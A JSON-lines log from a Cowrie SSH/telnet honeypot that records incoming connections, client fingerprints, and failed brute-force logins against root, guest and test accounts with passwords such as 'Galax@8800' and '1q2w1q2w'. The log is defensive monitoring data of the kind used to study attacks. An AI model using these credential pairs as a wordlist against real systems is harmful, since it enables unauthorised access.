{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:30.158221Z","src_ip":"185.113.139.51","session":"9bfdc9ef42d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":34608,"dst_ip":"159.203.135.109","dst_port":23,"session":"884ff9b6bfea","protocol":"telnet","message":"New connection: 137.184.5.188:34608 (159.203.135.109:23) [session: 884ff9b6bfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:34.180594Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41522,"dst_ip":"159.203.135.109","dst_port":22,"session":"664a5e66d307","protocol":"ssh","message":"New connection: 103.15.222.183:41522 (159.203.135.109:22) [session: 664a5e66d307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:34.633421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:34.636472Z","src_ip":"103.15.222.183","session":"664a5e66d307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:34.872795Z","src_ip":"103.15.222.183","session":"664a5e66d307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30041979","message":"login attempt [root/30041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:35.579465Z","src_ip":"103.15.222.183","session":"664a5e66d307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:36.816957Z","src_ip":"103.15.222.183","session":"664a5e66d307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":43168,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dc46eee0358","protocol":"ssh","message":"New connection: 177.76.134.52:43168 (159.203.135.109:22) [session: 1dc46eee0358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:01.819922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:01.869045Z","src_ip":"177.76.134.52","session":"1dc46eee0358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:02.007242Z","src_ip":"177.76.134.52","session":"1dc46eee0358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"tseug","message":"login attempt [guest/tseug] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:02.579632Z","src_ip":"177.76.134.52","session":"1dc46eee0358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:03.722679Z","src_ip":"177.76.134.52","session":"1dc46eee0358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":38516,"dst_ip":"10.17.0.5","dst_port":22,"session":"61f864b70443","protocol":"ssh","message":"New connection: 211.251.245.88:38516 (10.17.0.5:22) [session: 61f864b70443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:08.960976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:08.964800Z","src_ip":"211.251.245.88","session":"61f864b70443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:09.176833Z","src_ip":"211.251.245.88","session":"61f864b70443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":42380,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d1232bda57","protocol":"ssh","message":"New connection: 91.92.40.176:42380 (10.17.0.5:22) [session: 69d1232bda57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:09.836312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:09.840256Z","src_ip":"91.92.40.176","session":"69d1232bda57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:09.920090Z","src_ip":"91.92.40.176","session":"69d1232bda57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galax@8800","message":"login attempt [root/Galax@8800] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:10.063358Z","src_ip":"211.251.245.88","session":"61f864b70443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test123","message":"login attempt [test/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:10.167875Z","src_ip":"91.92.40.176","session":"69d1232bda57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:11.253019Z","src_ip":"91.92.40.176","session":"69d1232bda57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:11.280032Z","src_ip":"211.251.245.88","session":"61f864b70443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":39643,"dst_ip":"159.203.135.109","dst_port":22,"session":"7feefdc6b282","protocol":"ssh","message":"New connection: 103.86.198.253:39643 (159.203.135.109:22) [session: 7feefdc6b282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:16.814722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:16.818421Z","src_ip":"103.86.198.253","session":"7feefdc6b282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:17.087247Z","src_ip":"103.86.198.253","session":"7feefdc6b282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w1q2w","message":"login attempt [root/1q2w1q2w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:18.195939Z","src_ip":"103.86.198.253","session":"7feefdc6b282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:19.469163Z","src_ip":"103.86.198.253","session":"7feefdc6b282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":52790,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af84680d130","protocol":"ssh","message":"New connection: 194.36.147.215:52790 (10.17.0.5:22) [session: 6af84680d130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:26.479927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:26.482816Z","src_ip":"194.36.147.215","session":"6af84680d130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:26.571524Z","src_ip":"194.36.147.215","session":"6af84680d130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tm@rt#M@st3r!P@ss","message":"login attempt [root/B1tm@rt#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:26.839000Z","src_ip":"194.36.147.215","session":"6af84680d130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:27.931380Z","src_ip":"194.36.147.215","session":"6af84680d130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":36700,"dst_ip":"159.203.135.109","dst_port":22,"session":"786fa7b39a09","protocol":"ssh","message":"New connection: 46.19.67.181:36700 (159.203.135.109:22) [session: 786fa7b39a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:41.994429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:41.998337Z","src_ip":"46.19.67.181","session":"786fa7b39a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:42.111473Z","src_ip":"46.19.67.181","session":"786fa7b39a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18081981","message":"login attempt [root/18081981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:42.438425Z","src_ip":"46.19.67.181","session":"786fa7b39a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:43.549360Z","src_ip":"46.19.67.181","session":"786fa7b39a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":58284,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e30474c55a","protocol":"ssh","message":"New connection: 139.19.117.129:58284 (159.203.135.109:22) [session: 84e30474c55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:49.653564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:49.657147Z","src_ip":"139.19.117.129","session":"84e30474c55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:49.745849Z","src_ip":"139.19.117.129","session":"84e30474c55a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:27:49.926300Z","src_ip":"139.19.117.129","session":"84e30474c55a","protocol":"ssh"}
